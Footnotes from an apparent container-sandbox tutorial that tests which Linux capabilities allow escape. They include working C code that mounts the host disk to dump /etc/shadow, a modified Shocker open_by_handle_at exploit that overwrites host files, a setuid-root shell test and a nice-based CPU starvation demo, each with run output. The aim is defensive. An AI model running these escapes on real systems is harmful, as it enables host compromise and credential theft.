[lizzie@empress l-c-i-500-l]$ sudo chmod 4755 harmless_setuid
[lizzie@empress l-c-i-500-l]$ ./harmless_setuid
I'm #1000/0/0
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c ./cap_fsetid harmless_setuid
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.qapCVs...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ ./harmless_setuid 
++ failed switching uids to root: Operation not permitted
[lizzie@empress l-c-i-500-l]$ make -B harmless_setuid
cc -Wall -Werror -static harmless_setuid.c -o harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo chown root harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo chmod 4755 harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capfsetid -m . -u 0 -c ./cap_fsetid harmless_setuid
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.4u1dNe...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ ls -lh ./harmless_setuid
-rwsr-xr-x 1 root lizzie 788K Oct 25 05:22 ./harmless_setuid
[lizzie@empress l-c-i-500-l]$ ./harmless_setuid
sh-4.3# whoami
root
sh-4.3# id
uid=0(root) gid=1000(lizzie) groups=1000(lizzie)
sh-4.3# exit
[lizzie@empress l-c-i-500-l]$ rm harmless_setuid
17
DESCRIPTION
	mlock(), mlock2(),  and mlockall() lock  part or all  of the
	calling process's virtual address space into RAM, preventing
	that memory from being paged to the swap area.

	munlock() and  munlockall() perform the  converse operation,
	unlocking  part  or all  of  the  calling process's  virtual
	address  space,  so  that  pages in  the  specified  virtual
	address range may once more to be swapped out if required by
	the kernel memory manager.

	Memory locking and unlocking are performed in units of whole
	pages.

ERRORS

	ENOMEM
		(Linux  2.6.9  and  later)  the caller  had  a  nonzero
		RLIMIT_MEMLOCK soft  resource limit, but tried  to lock
		more memory  than the  limit permitted.  This  limit is
		not   enforced    if   the   process    is   privileged
		(CAP_IPC_LOCK).

These functions are the only use of CAP_IPC_LOCK; the only mention in the source is

bool can_do_mlock(void)
{
	if (rlimit(RLIMIT_MEMLOCK) != 0)
		return true;
	if (capable(CAP_IPC_LOCK))
		return true;
	return false;
}
18
/* -*- compile-command: "gcc -Wall -Werror -static cap_mknod.c -o cap_mknod" -*- */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#define DEV "/disk"
#define MNT "/mnt"

int main (int argc, char **argv)
{
	if (argc != 4) return 1;
	int return_code = 0;
	int etc_shadow = 0;
	
	dev_t dev = makedev(atoi(argv[1]), atoi(argv[2]));
	if (mknod(DEV, S_IFBLK | S_IRUSR, dev)) {
		fprintf(stderr, "++ mknod failed: %m\n");
		return 1;
	}
	if (mkdir(MNT, S_IRUSR)
	    && (errno != EEXIST)) {
		fprintf(stderr, "++ mkdir failed: %m\n");
		goto cleanup_error;
	}
	if (mount(DEV, MNT, argv[3], 0, NULL)) {
		fprintf(stderr, "++ mount failed: %m\n");
		goto cleanup_error;
	}
	if ((etc_shadow = open(MNT "/etc/shadow", O_RDONLY)) == -1) {
		fprintf(stderr, "++ opening /etc/shadow failed: %m\n");
		goto cleanup_error;
	}
	fprintf(stderr, "++ reading /etc/shadow:\n");
	char here = 0;
	errno = 0;
	while (read(etc_shadow, &here, 1) > 0)
		write(STDOUT_FILENO, &here, 1);
	if (errno) {
		fprintf(stderr, "read loop failed! %m\n");
		goto cleanup_error;
	}
	goto cleanup;
cleanup_error:
	return_code = 1;
cleanup:
	if (etc_shadow) close(etc_shadow);
	umount(MNT);
	unlink(DEV);
	rmdir(MNT);
	return return_code;
}
diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..985930e 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -38,10 +38,8 @@ int capabilities()
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
 		CAP_MAC_OVERRIDE,
-		CAP_MKNOD,
 		CAP_SETFCAP,
 		CAP_SYSLOG,
-		CAP_SYS_ADMIN,
 		CAP_SYS_BOOT,
 		CAP_SYS_MODULE,
 		CAP_SYS_NICE,

Note that CAP_SYS_ADMIN doesn't need to be allowed for this to work, it's just that mount is more convenient than reading the block device in userspace.

[lizzie@empress l-c-i-500-l]$  sudo  ./contained -m . -u 0 -c cap_mknod 8 1 vfat
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.VTnW1G...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ mknod failed: Operation not permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ make contained.allow_capmknod
patch contained.c -i allow_capmknod.diff -o contained.allow_capmknod.c
patching file contained.allow_capmknod.c (read from contained.c)
Hunk #1 succeeded at 46 (offset 8 lines).
cc -Wall -Werror -lseccomp -lcap contained.allow_capmknod.c -o contained.allow_capmknod
rm contained.allow_capmknod.c
[lizzie@empress l-c-i-500-l]$  sudo  ./contained.allow_capmknod -m . -u 0 -c cap_mknod 8 1 vfat
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.fdbi8q...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ reading /etc/shadow:
[redacted]
=> cleaning cgroups...done.
19
/* -*- compile-command: "gcc -Wall -Werror setfcap_and_exec.c -o setfcap_and_exec  -static -lcap" -*- */
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <linux/capability.h>
#include <sys/capability.h>
#include <sys/prctl.h>
#include <sys/types.h>

int main (int argc, char  **argv)
{
	if (argc == 2 && !strcmp(argv[1], "inner")) {
		cap_t self_caps = {0};
		if (!(self_caps = cap_get_proc())) {
			fprintf(stderr, "++ cap_get_proc failed: %m\n");
			return 1;
		}

		cap_flag_value_t cap_mknod_status = CAP_CLEAR;
		if (cap_get_flag(self_caps, CAP_MKNOD, CAP_PERMITTED, &cap_mknod_status)) {
			fprintf(stderr, "++ cap_get_flag failed: %m\n");
			cap_free(self_caps);
			return 1;
		}
		if (cap_mknod_status == CAP_CLEAR)
			fprintf(stderr, "!! don't have cap_mknod+p?\n");

		if (cap_set_flag(self_caps, CAP_EFFECTIVE, 1,
				 & (cap_value_t) { CAP_MKNOD }, CAP_SET)) {
			fprintf(stderr, "++ can't cap_set_flag: %m\n");
			cap_free(self_caps);
			return 1;
		}
		if (cap_set_proc(self_caps)) {
			fprintf(stderr, "++ can't cap_set_proc: %m\n");
			cap_free(self_caps);
			return 1;
		}
		cap_free(self_caps);
		fprintf(stderr, "++ have CAP_MKNOD!\n");
	} else {
		cap_t file_caps = {0};
		if (!(file_caps = cap_from_text("cap_mknod+p"))) {
			fprintf(stderr, "++ cap_from_text failed: %m\n");
			return 1;
		}
		if (cap_set_file(argv[0], file_caps)) {
			fprintf(stderr, "++ cap_set_file failed: %m\n");
			cap_free(file_caps);
			return 1;
		}
		cap_free(file_caps);

		if (execve(argv[0], (char  *[]){ argv[0], "inner", 0 }, NULL)) {
			fprintf(stderr, "++ execve failed: %m\n");
			return 1;
		}
	}
	return 0;
}
diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..0f3a4e2 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -39,7 +39,6 @@ int capabilities()
 		CAP_MAC_ADMIN,
 		CAP_MAC_OVERRIDE,
 		CAP_MKNOD,
-		CAP_SETFCAP,
 		CAP_SYSLOG,
 		CAP_SYS_ADMIN,
 		CAP_SYS_BOOT,
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capsetfcap -m . -u 0 -c setfcap_and_exec
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.GCu2Ry...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
!! don't have cap_mknod+p?
++ can't cap_set_proc: Operation not permitted
=> cleaning cgroups...done.

it does work if we don't restrict CAP_MKNOD, so it does seem like processes aren't allowed to set capabilities on files that they don't have:

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..b458201 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -38,8 +38,6 @@ int capabilities()
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
 		CAP_MAC_OVERRIDE,
-		CAP_MKNOD,
-		CAP_SETFCAP,
 		CAP_SYSLOG,
 		CAP_SYS_ADMIN,
 		CAP_SYS_BOOT,
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capmknod_capsetfcap -m . -u 0 -c setfcap_and_exec
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.IZ1gDw...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ have CAP_MKNOD!
=> cleaning cgroups...done.

This disagrees with Brad Spengler's note in False Boundaries and Arbitrary Code Execution

CAP_SETFCAP: generic: can set full capabilities on a file, granting full capabilities upon exec

but that's 5 years old, so it may have changed.

20
	CAP_SYSLOG (since Linux 2.6.37)
		*  Perform   privileged   syslog(2)  operations.    See
		   syslog(2)  for   information  on   which  operations
		   require privilege.
		*  View kernel  addresses exposed  via /proc  and other
		   interfaces  when /proc/sys/kernel/kptr_restrict  has
		   the   value  1.    (See   the   discussion  of   the
		   kptr_restrict in proc(5).)
	SYSLOG_ACTION_READ (2)
		[...] Bytes read from the log disappear from the log
		buffer [...]

	SYSLOG_ACTION_READ_ALL (3)
		[...] The call reads the   last    len   bytes    from
		the    log   buffer (nondestructively) [...]

	SYSLOG_ACTION_READ_CLEAR (4) [...]

	SYSLOG_ACTION_CLEAR (5) [...]

	SYSLOG_ACTION_CONSOLE_OFF (6) [...]

	SYSLOG_ACTION_CONSOLE_ON (7) [...]

	SYSLOG_ACTION_CONSOLE_LEVEL (8) [...]

	SYSLOG_ACTION_SIZE_UNREAD (9) [...]

	SYSLOG_ACTION_SIZE_BUFFER (10) [...]

	All commands  except 3 and  10 require privilege.
21

All of the uses of CAP_SYS_BOOT:

SYSCALL_DEFINE4(reboot, int, magic1, int, magic2, unsigned int, cmd,
		void __user *, arg)
{
	struct pid_namespace *pid_ns = task_active_pid_ns(current);
	char buffer[256];
	int ret = 0;

	/* We only trust the superuser with rebooting the system. */
	if (!ns_capable(pid_ns->user_ns, CAP_SYS_BOOT))
		return -EPERM;

	[...]
}
SYSCALL_DEFINE4(kexec_load, unsigned long, entry, unsigned long, nr_segments,
		struct kexec_segment __user *, segments, unsigned long, flags)
{
	int result;

	/* We only trust the superuser with rebooting the system. */
	if (!capable(CAP_SYS_BOOT) || kexec_load_disabled)
		return -EPERM;

	[...]
}
SYSCALL_DEFINE5(kexec_file_load, int, kernel_fd, int, initrd_fd,
		unsigned long, cmdline_len, const char __user *, cmdline_ptr,
		unsigned long, flags)
{
	int ret = 0, i;
	struct kimage **dest_image, *image;

	/* We only trust the superuser with rebooting the system. */
	if (!capable(CAP_SYS_BOOT) || kexec_load_disabled)
		return -EPERM;
	[...]
}
22
SYSCALL_DEFINE2(delete_module, const char __user *, name_user,
		unsigned int, flags)
{
	struct module *mod;
	char name[MODULE_NAME_LEN];
	int ret, forced = 0;

	if (!capable(CAP_SYS_MODULE) || modules_disabled)
		return -EPERM;
	[...]
}
static int may_init_module(void)
{
	if (!capable(CAP_SYS_MODULE) || modules_disabled)
		return -EPERM;

	return 0;
}

which is called by init_module and finit_module:

SYSCALL_DEFINE3(init_module, void __user *, umod,
		unsigned long, len, const char __user *, uargs)
{
	int err;
	struct load_info info = { };

	err = may_init_module();
	if (err)
		return err;

	pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
	       umod, len, uargs);

	err = copy_module_from_user(umod, len, &info);
	if (err)
		return err;

	return load_module(&info, uargs, 0);
}

SYSCALL_DEFINE3(finit_module, int, fd, const char __user *, uargs, int, flags)
{
	struct load_info info = { };
	loff_t size;
	void *hdr;
	int err;

	err = may_init_module();
	if (err)
		return err;

	pr_debug("finit_module: fd=%d, uargs=%p, flags=%i\n", fd, uargs, flags);

	if (flags & ~(MODULE_INIT_IGNORE_MODVERSIONS
		      |MODULE_INIT_IGNORE_VERMAGIC))
		return -EINVAL;

	err = kernel_read_file_from_fd(fd, &hdr, &size, INT_MAX,
				       READING_MODULE);
	if (err)
		return err;
	info.hdr = hdr;
	info.len = size;

	return load_module(&info, uargs, flags);
}
23
static int proc_cap_handler(struct ctl_table *table, int write,
			 void __user *buffer, size_t *lenp, loff_t *ppos)
{
	struct ctl_table t;
	unsigned long cap_array[_KERNEL_CAPABILITY_U32S];
	kernel_cap_t new_cap;
	int err, i;

	if (write && (!capable(CAP_SETPCAP) ||
		      !capable(CAP_SYS_MODULE)))
		return -EPERM;

	[...]
}

which is used to authorize requests to load modules.

24
/**
 *	dev_load	- load a network module
 *	@net: the applicable net namespace
 *	@name: name of interface
 *
 *	If a network interface is not present and the process has suitable
 *	privileges this function loads the module. If module loading is not
 *	available in this kernel then it becomes a nop.
 */

void dev_load(struct net *net, const char *name)
{
	struct net_device *dev;
	int no_module;

	rcu_read_lock();
	dev = dev_get_by_name_rcu(net, name);
	rcu_read_unlock();

	no_module = !dev;
	if (no_module && capable(CAP_NET_ADMIN))
		no_module = request_module("netdev-%s", name);
	if (no_module && capable(CAP_SYS_MODULE))
		request_module("%s", name);
}

This also allows processes with only CAP_NET_ADMIN to load netdev-* modules, and is run on almost every ioctl on a network device:

/**
 *	dev_ioctl	-	network device ioctl
 *	@net: the applicable net namespace
 *	@cmd: command to issue
 *	@arg: pointer to a struct ifreq in user space
 *
 *	Issue ioctl functions to devices. This is normally called by the
 *	user space syscall interfaces but can sometimes be useful for
 *	other purposes. The return value is the return from the syscall if
 *	positive or a negative errno code on error.
 */

int dev_ioctl(struct net *net, unsigned int cmd, void __user *arg)
{
	[...]
	/*
	 *	See which interface the caller is talking about.
	 */

	switch (cmd) {
	/*
	 *	These ioctl calls:
	 *	- can be done by all.
	 *	- atomic and do not require locking.
	 *	- return a value
	 */
	case SIOCGIFFLAGS:
	case SIOCGIFMETRIC:
	case SIOCGIFMTU:
	case SIOCGIFHWADDR:
	case SIOCGIFSLAVE:
	case SIOCGIFMAP:
	case SIOCGIFINDEX:
	case SIOCGIFTXQLEN:
		dev_load(net, ifr.ifr_name);
		[...]
}

This was pretty surprising to me! I should look into this further.

25
DESCRIPTION
	nice() adds inc  to the nice value for  the calling process.
	(A  higher  nice value  means  a  low priority.)   Only  the
	superuser  may specify  a  negative  increment, or  priority
	increase.
	[...]

ERRORS

	EPERM
		The calling process attempted  to increase its priority
		by  supplying  a  negative  inc  but  has  insufficient
		privileges.  Under  Linux, the  CAP_SYS_NICE capability
		is   required.   (But   see  the   discussion  of   the
		RLIMIT_NICE resource limit in setrlimit(2).)

26

We'll see how many CPU cycles this gets in a single-core virtual machine, in the host and in a container that can set low nice values:

/* -*- compile-command: "gcc -Wall -Werror -static busy_loop.c -o busy_loop" -*- */
#include <time.h>
#include <sys/times.h>
#include <stdio.h>

int main (int argc, char  **argv)
{
	struct timespec now = {0};
	struct timespec then = {0};
	clock_gettime(CLOCK_MONOTONIC, &then);
	do {
		clock_gettime(CLOCK_MONOTONIC, &now);
	} while ((now.tv_sec - then.tv_sec) * 5e9
		 + now.tv_nsec - then.tv_nsec < 20e9);
	/* how much cpu time did we get? */
	struct tms tms = {0};
	if (times(&tms) == -1) {
		fprintf(stderr, "++ times failed: %m\n");
		return 1;
	}
	/*  "The tms_utime field contains the CPU time spent executing
	    instructions of the calling process.  The tms_stime field contains the
	    CPU time spent in the system while executing tasks on behalf of the
	    calling process." */
	printf("ticks: %lu\n", tms.tms_utime + tms.tms_stime);
	return 0;
}
/* -*- compile-command: "gcc -Wall -Werror -static nice_dos.c -o nice_dos" -*- */
#include <unistd.h>
#include <stdio.h>

int main (int argc, char **argv)
{
	if (nice(-10) == -1) {
		fprintf(stderr, "++ nice failed: %m\n");
		return 1;
	}
	if (execve("./busy_loop", (char *[]) { "./busy_loop", 0 }, NULL)) {
		fprintf(stderr, "++ execve failed: %m\n");
		return 1;
	}
}
diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..4895071 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -44,7 +44,6 @@ int capabilities()
 		CAP_SYS_ADMIN,
 		CAP_SYS_BOOT,
 		CAP_SYS_MODULE,
-		CAP_SYS_NICE,
 		CAP_SYS_RAWIO,
 		CAP_SYS_RESOURCE,
 		CAP_SYS_TIME,
alpine-kernel-dev:~# (./busy_loop && echo '^ uncontained one' &) && (sudo ./contained.allow_capsysnice -m . -u 0 -c ./nice_dos &)
=> validating Linux version...4.7.6.
=> setting cgroups...memory...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.elKMci...done.
=> trying a user namespace...unsupported? continuing.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
ticks: 52
^ uncontained one
ticks: 341
=> cleaning cgroups...done.
alpine-kernel-dev:~#
27
	CAP_SYS_RAWIO
		* Perform I/O port operations (iopl(2) and ioperm(2));
		* access /proc/kcore;
		* employ the FIBMAP ioctl(2) operation;
		* open   devices  for   accessing  x86   model-specific
		  registers (MSRs, see msr(4))
		* update /proc/sys/vm/mmap_min_addr;
		* create memory  mappings at addresses below  the value
		  specified by /proc/sys/vm/mmap_min_addr;
		* map files in /proc/bus/pci;
		* open /dev/mem and /dev/kmem;
		* perform various SCSI device commands;
		* perform  certain operations  on hpsa(4)  and cciss(4)
		  devices;
		* perform  a  range  of device-specific  operations  on
		  other devices.
28
	/dev/mem is a character device file  that is an image of the
	main memory of  the computer.  It may be  used, for example,
	to examine (and even patch) the system.

	[...]

	It is typically created by:

		mknod -m 660 /dev/mem c 1 1
		chown root:kmem /dev/mem

	The file /dev/kmem is the  same as /dev/mem, except that the
	kernel  virtual  memory  rather   than  physical  memory  is
	accessed.  Since  Linux 2.6.26, this file  is available only
	if  the   CONFIG_DEVKMEM  kernel  configuration   option  is
	enabled.

	It is typically created by:

		mknod -m 640 /dev/kmem c 1 2
		chown root:kmem /dev/kmem

	/dev/port  is similar  to /dev/mem,  but the  I/O ports  are
	accessed.

	It is typically created by:

		mknod -m 660 /dev/port c 1 4
		chown root:kmem /dev/port

29
	ioperm()  sets  the  port  access permission  bits  for  the
	calling thread for num bits starting from port address from.
	If  turn_on is  nonzero, then  permission for  the specified
	bits is  enabled; otherwise it  is disabled.  If  turn_on is
	nonzero,   the    calling   thread   must    be   privileged
	(CAP_SYS_RAWIO).

	iopl()  changes  the  I/O  privilege level  of  the  calling
	process, as specified  by the two least  significant bits in
	level.

	This call is necessary to allow 8514-compatible X servers to
	run under  Linux.  Since these  X servers require  access to
	all 65536 I/O ports, the ioperm(2) call is not sufficient.

	In  addition  to  granting  unrestricted  I/O  port  access,
	running  at a  higher I/O  privilege level  also allows  the
	process to disable interrupts.  This will probably crash the
	system, and is not recommended.
30
	CAP_SYS_RESOURCE
		* Use reserved space on ext2 filesystems;
		* make ioctl(2) calls controlling ext3 journaling;
		* override disk quota limits;
		* increase resource limits (see setrlimit(2));
		* override RLIMIT_NPROC resource limit;
		* override  maximum  number   of  consoles  on  console
		  allocation;
		* override maximum number of keymaps;
		* allow more  than 64hz  interrupts from  the real-time
		  clock;
		* raise msg_qbytes  limit for a System  V message queue
		  above  the  limit   in  /proc/sys/kernel/msgmnb  (see
		  msgop(2) and msgctl(2));
		* override  the  /proc/sys/fs/pipe-size-max limit  when
		  setting the capacity of a pipe using the F_SETPIPE_SZ
		  fcntl(2) command.
		* use F_SETPIPE_SZ  to increase the capacity  of a pipe
		  above       the        limit       specified       by
		  /proc/sys/fs/pipe-max-size;
		* override  /proc/sys/fs/mqueue/queues_max  limit  when
		  creating POSIX message queues (see mq_overview(7));
		* employ prctl(2) PR_SET_MM operation;
		* set /proc/PID/oom_score_adj to a value lower than the
		  value last set by a process with CAP_SYS_RESOURCE.
31

Brad Spengler agreees in "False Boundaries and Arbitrary Code Execution":

No transitions known (to this author, yet): […] CAP_SYS_RESOURCE […]

32

It turns out that you can break important things by altering the time. "Authenticated Network Time Synchronization" describes some of these:

The importance of accurate time for security. There are many examples of security mechanisms which (often implicitly) rely on having an accurate clock:

  • Certificate validation in TLS and other protocols. Validating a public key certificate requires confirming that the current time is within the certificate’s validity period. Performing validation with a slow or inaccurate clock may cause expired certificates to be accepted as valid. A revoked certificate may also validate if the clock is slow, since the relying party will not check for updated revocation information.
  • Ticket verification in Kerberos. In Kerberos, authentication tickets have a validity period, and proper verification requires an accurate clock to prevent authentication with an expired ticket.
  • HTTP Strict Transport Security (HSTS) policy duration. HSTS allows website administrators to protect against downgrade attacks from HTTPS to HTTP by sending a header to browsers indicating that HTTPS must be used instead of HTTP. HSTS policies specify the duration of time that HTTPS must be used. If the browser’s clock jumps ahead, the policy may expire re-allowing downgrade attacks. A related mechanism, HTTP Public Key Pinning also relies on accurate client time for security.

For clients who set their clocks using NTP, these security mechanisms (and others) can be attacked by a network-level attacker who can intercept and modify NTP traffic, such as a malicious wireless access point or an insider at an ISP. In practice, most NTP servers do not authenticate themselves to clients, so a network attacker can intercept responses and set the timestamps arbitrarily. Even if the client sends requests to multiple servers, these may all be intercepted by an upstream network device and modified to present a consistently incorrect time to a victim. Such an attack on HSTS was demonstrated by Selvi, who provided a tool to advance the clock of victims in order to expire HSTS policies. Malhotra et al. present a variety of attacks that rely on NTP being unauthenticated, further emphasizing the need for authenticated time synchronization.

33
       CAP_WAKE_ALARM (since Linux 3.0)
	      Trigger something that will wake up the system (set
	      CLOCK_REALTIME_ALARM and CLOCK_BOOTTIME_ALARM timers).

I had trouble finding more information about these, but "Waking systems from suspend" on LWN goes into more detail:

these timers are exposed to user space via the standard POSIX clocks and timers interface, using the new the CLOCK_REALTIME_ALARM clockid. The new clockid behaves identically to CLOCK_REALTIME except that timers set against the _ALARM clockid will wake the system if it is suspended.

34

Brad Spengler's "False Boundaries and Arbitrary Code Execution":

CAP_DAC_OVERRIDE: generic: same bypass as CAP_DAC_READ_SEARCH, can also modify a non-suid binary executed by root to execute code with full privileges (modifying a suid root binary for you to execute would require CAP_FSETID, as the setuid bit is cleared on modification otherwise; thanks to Eric Paris). The modprobe sysctl can be modified as mentioned above to execute code with full capabilities.

and of course Sebastian Krahmer's email:

In 0.11 the problem is that the apps that run in the container have CAP_DAC_READ_SEARCH and CAP_DAC_OVERRIDE which allows the containered app to access files not just by pathname (which would be impossible due to the bind mount of the rootfs) but also by handles via open_by_handle_at().

He might mean that the combination of both of them is problematic, though, which is absolutely true: with CAP_DAC_OVERRIDE and CAP_DAC_READ_SEARCH, it's possible to modify arbitrary files:

48a49,50
> char new_motd[] = "The tea from 2014 kicks your sekurity again\n";
> 
149d150
< 	char buf[0x1000];
161,163c162
< 	       "[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n");
< 
< 	read(0, buf, 1);
---
> 	       "[***] forward to my friends who drink secury-tea too!      [***]\n");
169c168
< 	if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
---
> 	if (find_handle(fd1, "/etc/motd", &root_h, &h) <= 0)
175c174
< 	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
---
> 	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_WRONLY)) < 0)
178,180c177,179
< 	memset(buf, 0, sizeof(buf));
< 	if (read(fd2, buf, sizeof(buf) - 1) < 0)
< 		die("[-] read");
---
> 	if (write(fd2, new_motd, sizeof(new_motd)) != sizeof(new_motd))
> 		die("[-] write");
> 
182c181
< 	fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
---
> 	fprintf(stderr, "[!] Win! /etc/motd written.\n");
diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..c0cabcc 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -33,7 +33,6 @@ int capabilities()
 		CAP_AUDIT_READ,
 		CAP_AUDIT_WRITE,
 		CAP_BLOCK_SUSPEND,
-		CAP_DAC_READ_SEARCH,
 		CAP_FSETID,
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capdacreadsearch -m . -u 0 -c ./shocker_write
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.axVxAE...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'etc/motd'
[*] Found .
[*] Found ..
[*] Found lib64
[*] Found sys
[*] Found run
[*] Found sbin
[*] Found opt
[*] Found tmp
[*] Found lost+found
[*] Found dev
[*] Found mnt
[*] Found root
[*] Found lib
[*] Found boot
[*] Found home
[*] Found usr
[*] Found bin
[*] Found srv
[*] Found etc
[+] Match: etc ino=4325377
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'motd'
[*] Found binfmt.d
[*] Found ts.conf
[*] Found nscd.conf
[*] Found dhcpcd.duid
[*] Found sensors3.conf
[*] Found libao.conf
[*] Found .
[*] Found motd
[+] Match: motd ino=4325389
[*] Brute forcing remaining 32bit. This can take a while...
[*] (motd) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x0d, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x0d, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/motd written.
=> cleaning cgroups...done.
35
diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..c0cabcc 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -33,7 +33,6 @@ int capabilities()
 		CAP_AUDIT_READ,
 		CAP_AUDIT_WRITE,
 		CAP_BLOCK_SUSPEND,
-		CAP_DAC_READ_SEARCH,
 		CAP_FSETID,
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..c0cabcc 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -33,7 +33,6 @@ int capabilities()
 		CAP_AUDIT_READ,
 		CAP_AUDIT_WRITE,
 		CAP_BLOCK_SUSPEND,
-		CAP_DAC_READ_SEARCH,
 		CAP_FSETID,
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
[lizzie@empress l-c-i-500-l]$sudo ./contained -m . -u 0 -c ./shocker
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.bWoGr4...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
